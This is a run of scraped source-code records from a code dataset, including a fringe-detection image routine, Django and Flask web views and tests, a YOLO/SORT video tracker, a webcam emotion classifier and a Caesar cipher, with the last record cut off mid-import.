scan(i).pos(1,1)\r\n if xymbloop[6] < 0: #if loop tilted down and right for scan\r\n ytest = np.append(ytest, np.arange(np.round(Rloopint[1]), y_res)) #remove points between right loop intersection and bottom of image\r\n elif xymbloop[6] > 0: #if loop tilted up and right for scan\r\n ytest = np.append(ytest, np.arange(np.round(xymbloop[5]), np.round(Rloopint[1]))) #remove points between ball shadow and right loop intersection\r\n else:\r\n ytest = np.append(ytest, np.arange(np.round(yc), y_res)) #if neither intersections in range of image, remove points between ball center and bottom of image\r\n if np.size(ytest) != 0:\r\n ytest = np.unique(ytest.astype(int))\r\n scan[str(i-1)][0] = np.delete(scan[str(i-1)][0], ytest, axis=0)\r\n scan[str(i-1)][1] = np.delete(scan[str(i-1)][1], ytest, axis=0)\r\n\r\n fringe_pos = fringeimage[scan[str(i-1)][1], scan[str(i-1)][0]] < I_drop #scan, determine where intensitiies fall below I_drop\r\n index_trash = np.where(np.diff(fringe_pos))[0]\r\n #determine fringes based on minimum fringe width\r\n index_new = np.array([])\r\n for j in range(1, len(index_trash)):\r\n if index_trash[j] - index_trash[j-1] >= Iwidth_min: #if meets minimum fringe width\r\n index_new = np.append(index_new, index_trash[j])\r\n # if j == len(index_trash): #if last filtering (len(index_trash)-1 ends loop, so len(index_trash)-2 will be last j index)\r\n # if len(index_new) % 2 != 0: #if length of vals are odd (fringe scan needs start and end)\r\n # if scan[str(i-1)][0][0] > (Lloop_xvals - loop_avoid) and scan[str(i-1)][0][0] < (Rloop_xvals + loop_avoid): #if scan is above sphere shadow and loop\r\n # index_new = np.append(index_new, index_trash[j]) #add end point of fringe\r\n #determine if first or second scan segment is the fringe (i don't know what this does anymore...maybe deletes first \"fringe\" if too bright?)\r\n # if np.size(index_new) != 0: #if fringes detected in scan\r\n # if I_pos[(index_new[0]+1).astype(int)] >= I_drop:\r\n # index_new[0] = []\r\n\r\n j = 1\r\n n = 0\r\n center_approx[str(i-1)] = np.array([0, 0])\r\n if np.size(index_new) != 0: #if fringes detected in scan\r\n while j < len(index_new):\r\n avg = np.round((index_new[j] + index_new[j-1])/2).astype(int) #approximate fringe center is average location\r\n if fringeimage[scan[str(i-1)][1][avg], scan[str(i-1)][0][avg]] >= I_max:\r\n j += 1\r\n else:\r\n center_approx[str(i-1)] = np.vstack([center_approx[str(i-1)], [scan[str(i-1)][0][avg], scan[str(i-1)][1][avg]]])\r\n j += 2\r\n n += 1\r\n center_approx[str(i-1)] = np.delete(center_approx[str(i-1)], 0, axis=0)\r\n\r\n # fringeimagefig, fringeimageax = plt.subplots(1)\r\n # fringeimagefig.canvas.set_window_title('FringeImage')\r\n # fringeimageax.imshow(fringeimage, cmap='gray')\r\n # fringeimageax.set_ylim([y_res, 0])\r\n # fringeimageax.set_xlim([0, x_res])\r\n # fringeimageax.autoscale = False\r\n # for i in range(n_nodes):\r\n # fringeimageax.plot(center_approx[str(i)][:, 0], center_approx[str(i)][:, 1], 'g.')\r\n\r\n scan_width = np.round(scan_increase*max(np.diff(index_new))).astype(int) #determine max width of fringes, width of scan region * scan_increase will be scan width\r\n n_fringes, _ = np.shape(center_approx['0'])\r\n fringe = {}\r\n fringe_center = {}\r\n fringe_center['0'] = np.array([])\r\n for m in range(0, n_fringes):\r\n fringe[str(m)] = {}\r\n fringe[str(m)]['pf_fringe'] = np.array([])\r\n fringe[str(m)]['center'] = center_approx['0'][m, :]\r\n # sort nodes by fringe\r\n # determine number of fringes in each vertical scan, sort node location per fringe\r\n for i in range(2, n_nodes):\r\n n_fringes = np.shape(center_approx[str(i-1)])\r\n n_fringes = n_fringes[0]\r\n i_center = center_approx[str(i-1)]\r\n i_1_center = center_approx[str(i-2)]\r\n r_1, _ = np.shape(i_1_center)\r\n if r.round().astype(int) > r_1:\r\n padding = np.zeros((r.round().astype(int) - r_1, 2))\r\n i_1_center = np.append(i_1_center, padding, axis=0)\r\n i_1_center[i_1_center == 0] = math.inf #make inf to prevent accident closest center to (0,0)\r\n elif r_1 > r.round().astype(int)[0]:\r\n padding = np.zeros(r_1 - r.round().astype(int)[0], 2)\r\n i_center = np.append(i_center, padding, axis=0)\r\n i_center[i_center == 0] = math.inf\r\n # find fringe center in subsequent scans that is closest to the center of previous\r\n for j in range(0, n_fringes):\r\n # These don't appear to have been used in matlab\r\n # if i_center[j, 0] != math.inf:\r\n # residual = np.sqrt((i_center[j, 0] - i_1_center[:, 0])**2 + (i_center[j, 1] - i_1_center[:, 1])**2)\r\n # res_index = np.where(min(residual) == residual)[0]\r\n m = 0\r\n m_max = len(fringe)\r\n if m_max < 2:\r\n return 'failed', 'failed'\r\n newfringe = True\r\n\r\n while m < m_max:\r\n if np.size(fringe[str(m)]['center']) > 2:\r\n if i_center[j, 1] > fringe[str(m)]['center'][-1, 1] - scan_width and i_center[j, 1] < fringe[str(m)]['center'][-1, 1] + scan_width:\r\n fringe[str(m)]['center'] = np.vstack((fringe[str(m)]['center'], i_center[j, :]))\r\n newfringe = False\r\n break\r\n else:\r\n if i_center[j, 1] > fringe[str(m)]['center'][-1] - scan_width and i_center[j, 1] < fringe[str(m)]['center'][-1] + scan_width:\r\n fringe[str(m)]['center'] = np.vstack((fringe[str(m)]['center'], i_center[j, :]))\r\n newfringe = False\r\n break\r\n m += 1\r\n if newfringe:\r\n fringe[str(m)] = {}\r\n fringe[str(m)]['pf_fringe'] = np.array([])\r\n fringe[str(m)]['center'] = i_center[j, :]\r\n\r\n # fit lines, determine approximate slope of fringes\r\n for m in range(0, len(fringe)):\r\n det_nodes = int(np.size(fringe[str(m)]['center'])/2)\r\n if det_nodes >= node_fringe_min: #only evaluate fringes with min number of nodes\r\n pf_fringe = np.polyfit(fringe[str(m)]['center'][:, 0], fringe[str(m)]['center'][:, 1], 1)\r\n if 'allpf_fringe' not in locals(): #checking if allpf_fringe exists\r\n allpf_fringe = np.array(pf_fringe)\r\n else:\r\n allpf_fringe = np.vstack((allpf_fringe, pf_fringe))\r\n fringe[str(m)]['pf_fringe'] = pf_fringe\r\n else:\r\n del fringe[str(m)]\r\n\r\n # genrate node scans and truncate image edge nodes\r\n slope_perp = -1/allpf_fringe[np.where(abs(allpf_fringe[:, 0]) == max(abs(allpf_fringe[:, 0]))), 0][0][0] #determine maximum abs() slope, calculate perpendicular\r\n scan_trunc = (np.ceil((abs(scan_width/slope_perp))/2) + edge_avoid).astype(int) #calculate amount of truncation at image edge in x due to fringe angle, add edge_avoid pixel safety\r\n for m in range(0, len(fringe)):\r\n fringe[str(m)]['center'][:, 1] = np.round(filter_conv(fringe[str(m)]['center'][:, 1], 3))\r\n fringe[str(m)]['X_top'] = np.round(fringe[str(m)]['center'][:, 0] - node_width/2) #generate scans based on node width, node center\r\n fringe[str(m)]['Y_top'] = np.round(fringe[str(m)]['center'][:, 1])\r\n fringe[str(m)]['X_endtop'] = np.round(fringe[str(m)]['center'][:, 0] + node_width/2)\r\n fringe[str(m)]['Y_endtop'] = np.round(fringe[str(m)]['center'][:, 1])\r\n if np.size(np.where(fringe[str(m)]['center'][:, 0] - node_width/2 < scan_trunc)) > 0:\r\n trunc_index = np.where(fringe[str(m)]['center'][:, 0] - node_width/2 < scan_trunc)[0]\r\n if len(trunc_index) > 1: #check if more than one node affected by truncation\r\n for n, val in enumerate(trunc_index):\r\n fringe[str(m)]['center'] = np.delete(fringe[str(m)]['center'], np.arange(0, val), axis=0)\r\n fringe[str(m)]['X_top'] = np.delete(fringe[str(m)]['X_top'], np.arange(0, val), axis=0)\r\n fringe[str(m)]['Y_top'] = np.delete(fringe[str(m)]['Y_top'], np.arange(0, val), axis=0)\r\n fringe[str(m)]['X_endtop'] = np.delete(fringe[str(m)]['X_endtop'], np.arange(0, val), axis=0)\r\n fringe[str(m)]['Y_endtop'] = np.delete(fringe[str(m)]['Y_endtop'], np.arange(0, val), axis=0)\r\n fringe[str(m)]['X_top'][0] = scan_trunc\r\n if fringe[str(m)]['X_top'][1] <= scan_trunc:\r\n fringe[str(m)]['center'] = np.delete(fringe[str(m)]['center'], 0, axis=1)\r\n fringe[str(m)]['X_top'] = np.delete(fringe[str(m)]['X_top'], 0, axis=1)\r\n fringe[str(m)]['Y_top'] = np.delete(fringe[str(m)]['Y_top'], 0, axis=1)\r\n fringe[str(m)]['X_endtop'] = np.delete(fringe[str(m)]['X_endtop'], 0, axis=1)\r\n fringe[str(m)]['Y_endtop'] = np.delete(fringe[str(m)]['Y_endtop'], 0, axis=1)\r\n if np.size(np.where(fringe[str(m)]['center'][:, 0] - node_width/2 >= x_res - scan_trunc)) > 0:\r\n trunc_index = np.where(fringe[str(m)]['center'][:, 0] - node_width/2 < scan_trunc)[0]\r\n if len(trunc_index) > 1: #check if more than one node affected by truncation\r\n fringe[str(m)]['center'] = np.delete(fringe[str(m)]['center'], np.arange(0, trunc_index), axis=0)\r\n fringe[str(m)]['X_top'] = np.delete(fringe[str(m)]['X_top'], np.arange(0, trunc_index), axis=0)\r\n fringe[str(m)]['Y_top'] = np.delete(fringe[str(m)]['Y_top'], np.arange(0, trunc_index), axis=0)\r\n fringe[str(m)]['X_endtop'] = np.delete(fringe[str(m)]['X_endtop'], np.arange(0, trunc_index), axis=0)\r\n fringe[str(m)]['Y_endtop'] = np.delete(fringe[str(m)]['Y_endtop'], np.arange(0, trunc_index), axis=0)\r\n fringe[str(m)]['X_endtop'][-1] = x_res - scan_trunc\r\n if fringe[str(m)]['X_endtop'][-1] >= x_res - scan_trunc:\r\n fringe[str(m)]['center'] = np.delete(fringe[str(m)]['center'], -1, axis=1)\r\n fringe[str(m)]['X_top'] = np.delete(fringe[str(m)]['X_top'], -1, axis=1)\r\n fringe[str(m)]['Y_top'] = np.delete(fringe[str(m)]['Y_top'], -1, axis=1)\r\n fringe[str(m)]['X_endtop'] = np.delete(fringe[str(m)]['X_endtop'], -1, axis=1)\r\n fringe[str(m)]['Y_endtop'] = np.delete(fringe[str(m)]['Y_endtop'], -1, axis=1)\r\n # check if average intensity is below threshold, in case node contains anomaly\r\n # disabled in matlab\r\n # L_center, _ = np.shape(fringe[str(m)]['center'])\r\n # for j in range(0, L_center):\r\n # index_erase = []\r\n # scan_inc = (fringe[str(m)]['X_endtop'][j] - fringe[str(m)]['X_top'][j])/7\r\n # for i in range(1, 6):\r\n # x_scan = fringe[str(m)]['X_top'][j] + np.round(i*scan_inc)\r\n # y_scan = fringe[str(m)]['Y_top'][j] - np.arange(np.round(scan_width/2), fringe[str(m)]['Y_top'][j] + np.round(scan_width/2))\r\n # I_test = fringeimage[y_scan, x_scan]\r\n #\r\n\r\n # if all elements removed from fringe, delete fringe\r\n if np.size(fringe[str(m)]) == 0:\r\n del fringe[str(m)]\r\n if m == 0:\r\n yc_fringe = np.polyval(allpf_fringe[m, :], xc)\r\n else:\r\n yc_fringe = np.vstack((yc_fringe, np.polyval(allpf_fringe[m, :], xc)))\r\n\r\n # Allmode - calculate the two fringes surrounding the sphere center\r\n listfringes = np.arange(0, len(fringe))\r\n if allmode == 'center':\r\n fringe2 = {}\r\n ball_fringe = yc_fringe - yc\r\n for i in range(0, 2):\r\n index = np.where(min(abs(ball_fringe)) == abs(ball_fringe))[0][0]\r\n fringe2[str(i)] = fringe[str(listfringes[index])]\r\n ball_fringe = np.delete(ball_fringe, index)\r\n listfringes = np.delete(listfringes, index)\r\n return fringe2, scan_width\r\n","sub_path":"Fringefinder/FringefinderFuncs.py","file_name":"FringefinderFuncs.py","file_ext":"py","file_size_in_byte":57495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"318411525","text":"from django.test import TestCase\nfrom django.contrib.auth import get_user_model\nfrom django.urls import reverse\n\nfrom rest_framework.test import APIClient\nfrom rest_framework import status\n\nfrom core.models import Ingredient\nfrom recipe.serializers import IngredientSerializer\n\n\nINGREDIENTS_URL = reverse('recipe:ingredient-list')\n\n\ndef create_user(**kwargs):\n return get_user_model().objects.create_user(**kwargs)\n\n\nclass PublicIngredientsApiTests(TestCase):\n \"\"\" Test the publicly available ingredients API\"\"\"\n\n def setUp(self):\n self.client = APIClient()\n\n def test_login_required(self):\n \"\"\"Test that login is required for retrieving ingredients\"\"\"\n res = self.client.get(INGREDIENTS_URL)\n self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\nclass PrivateTagsApiTests(TestCase):\n \"\"\" Test the private ingredients API\"\"\"\n\n def setUp(self):\n self.user = create_user(\n email='test@test.com',\n password='test123',\n name='name'\n )\n self.client = APIClient()\n self.client.force_authenticate(user=self.user)\n # Authenticated user in the tests\n\n def test_retrieve_ingredient_list(self):\n \"\"\"Test retrieving a list of ingredients\"\"\"\n Ingredient.objects.create(user=self.user, name='Kale')\n Ingredient.objects.create(user=self.user, name='Salt')\n res = self.client.get(INGREDIENTS_URL)\n ingredients = Ingredient.objects.all().order_by('-name')\n serializer = IngredientSerializer(ingredients, many=True)\n\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.data, serializer.data)\n\n def test_ingredients_limited_to_user(self):\n \"\"\"Test retrieving a list of ingredients\"\"\"\n user2 = create_user(email='user2@test.com',\n password='test123',\n name='user2')\n Ingredient.objects.create(user=user2, name='Vinegar')\n ingredient = Ingredient.objects.create(user=self.user, name='Tumeric')\n res = self.client.get(INGREDIENTS_URL)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(len(res.data), 1)\n self.assertEqual(res.data[0]['name'], ingredient.name)\n\n def test_create_ingredient_successful(self):\n \"\"\"Test create a new ingredient\"\"\"\n payload = {'name': 'Cabbage'}\n self.client.post(INGREDIENTS_URL, payload)\n exists = Ingredient.objects.filter(user=self.user,\n name=payload['name']\n ).exists()\n self.assertTrue(exists)\n\n def test_create_tag_ingredient_invalid(self):\n \"\"\"Test creating invalid ingredient fails\"\"\"\n payload = {'name': ''}\n res = self.client.post(INGREDIENTS_URL, payload)\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n","sub_path":"app/recipe/tests/test_ingredients_api.py","file_name":"test_ingredients_api.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"190702374","text":"import cv2\nimport numpy as np\nfrom keras.models import load_model\nimport serial\nser = serial.Serial('COM4', 9600, timeout=1)\nimport os\nimport random\n\nrandom.seed(None)\n\nfaceCascade = cv2.CascadeClassifier('haarcascade_frontalface_alt2.xml')\n\nvideo_capture = cv2.VideoCapture(0)\narea = video_capture.get(3) * video_capture.get(4)\n\nmodel = load_model('models/model_5-49-0.62.hdf5')\nmodel.get_config()\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\n\nnumFrames = 30\n\nhappyCount = 0\nsadCount = 0\nneutralCount = 0\n\n#happy = os.listdir('happy')\n#sad = os.listdir('sad')\n#neutral = os.listdir('neutral')\n\n#index = 0\n\ntarget = ['angry', 'disgust', 'fear', 'happy', 'sad', 'surprise', 'neutral']\n\nwhile True:\n ret, frame = video_capture.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = faceCascade.detectMultiScale(gray, scaleFactor=1.1)\n \n if faces.__len__() == 0:\n cv2.imshow('Frame', frame)\n cv2.waitKey(1)\n continue\n else:\n for (x, y, w, h) in faces:\n if w*h > 0.06 * area:\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2, 5)\n face_crop = frame[y:y + h, x:x + w]\n face_crop = cv2.resize(face_crop, (48, 48))\n face_crop = cv2.cvtColor(face_crop, cv2.COLOR_BGR2GRAY)\n face_crop = face_crop.astype('float32') / 255\n face_crop = np.asarray(face_crop)\n face_crop = face_crop.reshape(1, 1, face_crop.shape[0], face_crop.shape[1])\n result = target[np.argmax(model.predict(face_crop))]\n\n if(result == 'happy' or result == 'surprise'):\n happyCount += 1\n\n elif(result == 'sad' or result == 'angry' or result == 'fear'):\n sadCount += 1\n\n elif(result == 'neutral'):\n neutralCount += 1\n\n numFrames -= 1\n\n cv2.putText(frame, result, (x, y), font, 1, (200, 0, 0), 3, cv2.LINE_AA)\n if numFrames == 0:\n break\n\n if numFrames == 0:\n break\n\n #print(result)\n cv2.imshow('Frame', frame)\n if (cv2.waitKey(1) & 0xFF == ord('q')):\n break\n\n\nvideo_capture.release()\ncv2.destroyAllWindows()\n\nemotion = np.argmax(np.array([happyCount, sadCount, neutralCount]))\n\nif emotion == 0:\n print(\"happy\")\n ser.write(b'h')\n ser.close()\n #with open('test.txt', 'w') as f:\n # f.write('happy/' + str(happy[random.randint(0, happy.__len__()-1)]) + '\\n')\nelif emotion == 1:\n print(\"sad\")\n ser.write(b's')\n ser.close()\n #with open('test.txt', 'w') as f:\n #f.write('sad/' + str(sad[random.randint(0, sad.__len__()-1)]) + '\\n')\nelse:\n print(\"nutral\")\n ser.write(b'n')\n ser.close()\n #with open('test.txt', 'w') as f:\n #f.write('neutral/' + str(neutral[random.randint(0, neutral.__len__()-1)]) + '\\n')\n\n #cv2.imshow('Video', frame)\n\n\n","sub_path":"Liquid-Player-master/realtime.py","file_name":"realtime.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"188384202","text":"from django.http import HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom .forms import Url_Form\nfrom .models import Short_Url\nfrom .shortner import Shortner\n\n\n# Create your views here.\ndef make(request):\n form = Url_Form(request.POST)\n b = \"\"\n a = \"\"\n if request.method == 'GET':\n form = Url_Form\n return render(request, 'main.html', {'form': form})\n if request.method == 'POST':\n new_url = Short_Url.objects.filter(long_url=request.POST['long_url'])\n if new_url:\n b = new_url[0]\n else:\n if form.is_valid():\n new_url = form.save(commit=False)\n new_url.short_url = Shortner().issue_token()\n a = new_url\n new_url.save()\n else:\n form = Url_Form()\n a = \"Invalid Url\"\n context = {\n 'form': form,\n 'a': a,\n 'b':b\n }\n return render(request, 'main.html', context)\n\n\ndef home(request, token, copy=None):\n if copy:\n long_url = Short_Url.objects.filter(short_url=token)[0]\n long_url.copy2clip(request.META.get('HTTP_REFERER'))\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n else:\n long_url = Short_Url.objects.filter(short_url=token)[0]\n return redirect(long_url.long_url)\n","sub_path":"shorter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"105788372","text":"\"\"\" Compiled: 2020-09-18 10:38:49 \"\"\"\n\n#__src_file__ = \"extensions/confirmation/etc/FConfirmationEventHook.py\"\nfrom FOperationsHook import DefaultHook\nimport types\nfrom FOperationsTypeComparators import PrimitiveTypeComparator\n\nclass ConfirmationEventHook(DefaultHook):\n\n def __init__(self, moduleName, hookName):\n DefaultHook.__init__(self, moduleName, hookName, PrimitiveTypeComparator(bool))\n\n def IsSatisfiedBy(self, fObject, trade = None):\n if trade == None:\n return self.CallHook(fObject)\n return self.CallHook(fObject, trade)","sub_path":"Extensions/Default/FPythonCode/FConfirmationEventHook.py","file_name":"FConfirmationEventHook.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"200221961","text":"# coding:utf-8\nfrom __future__ import division\nimport time\nimport numpy as np\nimport cv2\nfrom PIL import Image, ImageFont, ImageDraw\nfrom yolo import YOLO\nfrom utils.sort import sort_image, Sort\nfrom collections import deque\n\npts = [deque(maxlen=30) for _ in range(9999)]\nnp.random.seed(100)\nCOLORS = np.random.randint(0, 255, size=(200, 3), dtype=\"uint8\")\n\nmp4 = cv2.VideoCapture('/home/bhap/Documents/Video/test3.MP4')\nmodel_path = '/home/bhap/Pytorch_test/YoloV3_Sort/model_data/bdd.pth'\nCAMERA = False\n\ndef main(yolo):\n\n capture = cv2.VideoCapture(0)\n tracker = Sort(max_age=10, min_hits=3) # 存储的帧数和连续关联的帧数\n fps = 0.0\n\n while True:\n\n t1 = time.time()\n\n if CAMERA:\n ref, frame = capture.read()\n else:\n ref, frame = mp4.read()\n if ref != True:\n break\n\n # 格式转变 BGR2RGB\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n # 转变成Image\n frame = Image.fromarray(np.uint8(frame))\n # 进行检测\n boxs, classes = yolo.sort_detect_image(frame)\n\n out_boxes, out_classes, object_id = sort_image(tracker, boxs, classes)\n\n font = ImageFont.truetype(font='model_data/simhei.ttf',\n size=np.floor(2e-2 * frame.size[1] + 0.5).astype('int32'))\n thickness = (frame.size[0] + frame.size[1]) // 800\n\n for i, c in enumerate(out_classes):\n predicted_class = yolo.class_names[c]\n id = int(object_id[i])\n left, top, right, bottom = out_boxes[i]\n color = tuple([int(k) for k in COLORS[id % len(COLORS)]])\n\n label = '{} id:{}'.format(predicted_class, id)\n draw = ImageDraw.Draw(frame)\n label_size = draw.textsize(label, font)\n label = label.encode('utf-8')\n\n if top - label_size[1] >= 0:\n text_origin = np.array([left, top - label_size[1]])\n else:\n text_origin = np.array([left, top + 1])\n\n for j in range(thickness):\n draw.rectangle(\n [left + j, top + j, right - j, bottom - j], outline=color)\n draw.rectangle(\n [tuple(text_origin), tuple(text_origin + label_size)], fill=color)\n draw.text(text_origin, str(label), fill=(0, 0, 0), font=font)\n del draw\n\n frame = np.array(frame)\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n fps = (fps + (1. / (time.time() - t1))) / 2\n frame = cv2.putText(frame, \"fps= %.2f\" % (fps), (0, 40), cv2.FONT_HERSHEY_SCRIPT_SIMPLEX, 1, (0, 255, 0), 2)\n cv2.imshow('mp4', frame)\n\n cv = cv2.waitKey(30) & 0xff\n\n if cv == 27:\n capture.release()\n break\n\nif __name__ == '__main__':\n main(YOLO())","sub_path":"yolo_sort.py","file_name":"yolo_sort.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"496457976","text":"#task_cipher_caesar\n\ndef encode(str, offset = 0):\n\tif not offset: return str\n\tupper_case_letters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\tupper_q = len(upper_case_letters)\n\tlower_case_letters = \"abcdefghijklmnopqrstuvwxyz\"\n\tlower_q = len(lower_case_letters)\t\n\tencode_str = []\n\tfor char in str:\n\t\tupper_index = upper_case_letters.find(char)\n\t\tlower_index = lower_case_letters.find(char)\n\t\tif upper_index != -1:\n\t\t\tencode_str.append(upper_case_letters[(upper_index+offset)%upper_q])\n\t\telif lower_index != -1:\t\n\t\t\tencode_str.append(lower_case_letters[(lower_index+offset)%lower_q])\n\t\telse:\n\t\t\tencode_str.append(char)\n\treturn ''.join(encode_str)\n\t\ndef decode(str, offset = 0):\n\tif not offset: return str\n\treturn encode(str, -offset)","sub_path":"task_cipher_caesar.py","file_name":"task_cipher_caesar.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"54320979","text":"from django.conf.urls import patterns, include, url\nfrom djangobook.views import hello, current_datetime, hours_ahead, user_browser, display_meta\nfrom books import views\nfrom contact.views import contact\nfrom django.contrib import admin\nadmin.autodiscover()\n\n\nurlpatterns = patterns('',\n\turl(r'^admin/', include(admin.site.urls)),\n\turl(r'^hello/$', hello),\n\turl(r'^time/$', current_datetime),\n\turl(r'^another-time-page/$', current_datetime),\n\turl(r'^time/plus/(\\d{1,2})/$', hours_ahead),\n\turl(r'^browser/$', user_browser),\n\turl(r'^displaymeta/$', display_meta),\n\turl(r'^search/$', views.search),\n\turl(r'^contact-us/$', contact),\n)\n","sub_path":"djangobook/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"196007304","text":"#!/usr/bin/python3\n# Python script that starts a flask application on 0.0.0.0 port 5000/ with\n# variables: Show if number is even or odd\nfrom flask import Flask, render_template\nfrom models import storage\napp = Flask(__name__)\napp.url_map.strict_slashes = False\napp.jinja_env.trim_blocks = True\napp.jinja_env.lstrip_blocks = True\n\n\n@app.teardown_appcontext\ndef teardown_app(exception):\n \"\"\"Calls Storage close on appcontext\"\"\"\n storage.close()\n\n\n@app.route('/states')\ndef states():\n states = []\n for key, values in storage.all('State').items():\n states.append(values)\n return render_template('9-states.html', states=states)\n\n\n@app.route('/states/')\ndef states_var(id=None):\n cities = []\n for key, values in storage.all('City').items():\n if values.state_id == str(id):\n cities.append(values)\n\n name = None\n for key, values in storage.all('State').items():\n if values.id == str(id):\n name = values.name\n\n if len(cities) == 0 and name is None:\n return render_template('9-states.html', err=1)\n\n return render_template('9-states.html', name=name, cities=cities)\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5000)\n","sub_path":"web_flask/9-states.py","file_name":"9-states.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"355040683","text":"# Settings\nfrom django.conf import settings\n# 3rd party helpers\nfrom requests.exceptions import HTTPError\nfrom typing import Tuple\nfrom lxml.objectify import ElementMaker\nimport json\n# Views\nfrom .utils import Storage\nfrom .json_view import JsonView\n# VDT BE Components\nfrom vdt_python_sdk.views import vdt_python_sdk\n\nE = ElementMaker(namespace=\"http://xml.vidispine.com/schema/vidispine\", annotate=False,\n nsmap={\"vs\": \"http://xml.vidispine.com/schema/vidispine\"})\n\n# Unified responses:\nresponseBE = Tuple[Storage, int]\n\n__author__ = 'anton'\n\n\"\"\" StorageView\n some of the typical API-calls are used here\n\"\"\"\n\n\nclass StoragesView(JsonView):\n def get(self, request) -> responseBE:\n try:\n auth = dict(username=settings.VS_USERNAME, password=settings.VS_PASSWORD)\n\n # Query parameters\n status = request.GET.get('status', None)\n except KeyError:\n return Storage(dict(content=\"No auth\")), 401\n except ValueError:\n raise Exception(\"Invalid request body or header\")\n\n try:\n storages = vdt_python_sdk.get_storages(vsurl=settings.VSAPI_BASE, auth=auth,\n status=status,\n accept='application/json')\n except HTTPError as e:\n return Storage(dict(url=e.request.path_url,\n message=e.response.content.decode('utf-8'))), e.response.status_code\n\n return storages, 200\n\n\nclass StorageImportablesView(JsonView):\n def get(self, request, storage_id: str) -> responseBE:\n try:\n auth = dict(username=settings.VS_USERNAME, password=settings.VS_PASSWORD)\n matrix_params = json.loads(request.GET.get('matrix'))\n first = matrix_params.get('first', None)\n number = matrix_params.get('number', None)\n state = matrix_params.get('state', 'CLOSED')\n except KeyError:\n return Storage(dict(content=\"No auth\")), 401\n except ValueError:\n raise Exception(\"Invalid request body or header\")\n\n try:\n files = vdt_python_sdk.get_storage_importable(vsurl=settings.VSAPI_BASE, auth=auth,\n storage_id=storage_id, state=state,\n first=first,\n number=number,\n accept='application/json')\n except HTTPError as e:\n return Storage(dict(url=e.request.path_url,\n message=e.response.content.decode('utf-8'))), e.response.status_code\n\n returned_files = []\n if files['hits'] != 0:\n for file in files['element']:\n if file['file']['state'] == state:\n returned_files.append(file)\n files['element'] = returned_files\n return files, 200\n\n\nclass FileImportView(JsonView):\n def post(self, request, storage_id: str, file_id: str) -> responseBE:\n try:\n auth = dict(username=settings.VS_USERNAME, password=settings.VS_PASSWORD)\n body = request.body.decode(\"utf-8\")\n data = json.loads(body)\n\n # Voluntary variables\n tag = data.get('tag', None)\n except KeyError:\n return Storage(dict(content=\"No auth\")), 401\n except ValueError:\n raise Exception(\"Invalid request body or header\")\n\n try:\n file_import = vdt_python_sdk.start_file_import(vsurl=settings.VSAPI_BASE, auth=auth,\n storage_id=storage_id, file_id=file_id,\n tag=tag,\n accept='application/json')\n except HTTPError as e:\n return Storage(dict(url=e.request.path_url,\n message=e.response.content.decode('utf-8'))), e.response.status_code\n\n return file_import, 200\n","sub_path":"app/views/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"245747119","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nimport csv\nimport pandas as pd\nimport numpy as np\nfrom bs4 import BeautifulSoup\nfrom django.http import JsonResponse\n\ndef parse_csv(csvFile):\n files = csvFile\n data = csv.reader(files.read().splitlines())\n try:\n data = [part for part in data] \n except:\n return 'Not a CSV'\n return data\n\ndef parse_html(html):\n table_soup = BeautifulSoup(html, \"html.parser\")\n r = table_soup.find('tbody').findAll('tr')\n h = table_soup.find('thead').findAll('th')\n return {\"rows\": r, \"header\":h}\n\ndef create_response(data, column_names, sort):\n df = pd.DataFrame(data, columns=column_names)\n if sort:\n df = df.sort(['MPN'])\n unique = df['MPN'].unique().tolist()\n html_table = df.to_html(classes=[\"table\", \"table-striped\", \"table-condensed\"], index=False)\n return {\"html\": html_table, \"unique_mpn\": unique}\n\ndef get_html_text(parsed_html_rows):\n table = []\n for row in parsed_html_rows: \n list_of_data = row.get_text().split(\"\\n\")\n del list_of_data[0]\n list_of_data.pop()\n table.append(list_of_data)\n return table ","sub_path":"tempo_build/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"6229082","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: Edward Ahn & Jiyuan Zhou\n\nTrain local planner using TRPO so that a vehicle can follow a\nstraight line.\n\"\"\"\n\nimport numpy as np\n\nfrom rllab.algos.trpo import TRPO\nfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\nfrom rllab.envs.base import Env\nfrom 